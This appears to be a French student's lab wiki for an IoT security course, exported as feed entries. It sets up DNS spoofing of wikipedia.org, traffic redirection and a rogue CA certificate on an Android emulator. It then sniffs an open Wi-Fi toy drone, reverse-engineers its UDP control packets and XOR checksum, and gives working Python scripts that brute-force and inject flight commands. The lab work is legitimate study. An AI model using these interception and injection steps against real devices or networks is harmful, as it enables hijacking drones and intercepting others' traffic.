# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drone réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut être un bouton pour pouvoir décoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :&lt;br /&gt;
[[Fichier:Wireshark3.png|néant|vignette|866x866px]]&lt;br /&gt;
En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé  : &lt;br /&gt;
&lt;br /&gt;
* Trame analysée : &amp;lt;code&amp;gt;03 66 80 82 7C 80 00 FE 99&amp;lt;/code&amp;gt;&lt;br /&gt;
* Calcul : &amp;lt;code&amp;gt;80 ^ 82 ^ 7C ^ 80 ^ 00 = FE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc utilisation de XOR pour valider&lt;br /&gt;
&lt;br /&gt;
===== Recherche du code de démarrage =====&lt;br /&gt;
Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
def envoyer_paquet(bouton_valeur):&lt;br /&gt;
    # Trame : Header + 4 axes neutres + bouton + checksum + footer&lt;br /&gt;
    # Axes neutres = 0x80 (128)&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]&lt;br /&gt;
&lt;br /&gt;
    # Calcul Checksum XOR&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
&lt;br /&gt;
    packet = bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
    client.sendto(packet, (IP_DRONE, PORT))&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\n Initialisation (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        envoyer_paquet(0x00)&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest des boutons de démarrage...&amp;quot;)&lt;br /&gt;
    #boutons les plus probables : 1, 2, 4, 8...&lt;br /&gt;
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]&lt;br /&gt;
&lt;br /&gt;
    for code in bouton:&lt;br /&gt;
        print(f&amp;quot;Test bouton code: {hex(code)} ...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        t_fin = time.time() + 2 #2s&lt;br /&gt;
        while time.time() &amp;lt; t_fin:&lt;br /&gt;
            envoyer_paquet(code)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
        # pause&lt;br /&gt;
        for _ in range(10):&lt;br /&gt;
            envoyer_paquet(0x00)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest terminé.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01'''  Donc, c'est surement le bouton de décollage&lt;br /&gt;
&lt;br /&gt;
===== Script de control et observation sur Wireshark =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
IP_DRONE = &amp;quot;192.168.1.1&amp;quot;&lt;br /&gt;
PORT = 7099&lt;br /&gt;
MON_IP = &amp;quot;192.168.1.101&amp;quot;&lt;br /&gt;
&lt;br /&gt;
code_decollage = 0x01&lt;br /&gt;
&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
client.bind((MON_IP, 0))&lt;br /&gt;
&lt;br /&gt;
def commande(bouton):&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton]&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
    return bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(f&amp;quot;Lancement {hex(code_decollage)}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Connexion (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        client.sendto(commande(0x00), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Decollage&amp;quot;)&lt;br /&gt;
    t_fin = time.time() + 2&lt;br /&gt;
    while time.time() &amp;lt; t_fin:&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Stop&amp;quot;)&lt;br /&gt;
    for _ in range(30):&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
    print(&amp;quot;Arrêt urgence&amp;quot;)&lt;br /&gt;
finally:&lt;br /&gt;
    client.close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé&lt;br /&gt;
[[Fichier:14.png|néant|vignette|651x651px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Drone.jpg&amp;diff=11355</id>
		<title>Fichier:Drone.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Drone.jpg&amp;diff=11355"/>
		<updated>2026-01-25T22:16:37Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;interface appli&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11181</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11181"/>
		<updated>2026-01-13T17:20:45Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Recherche du code de démarrage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
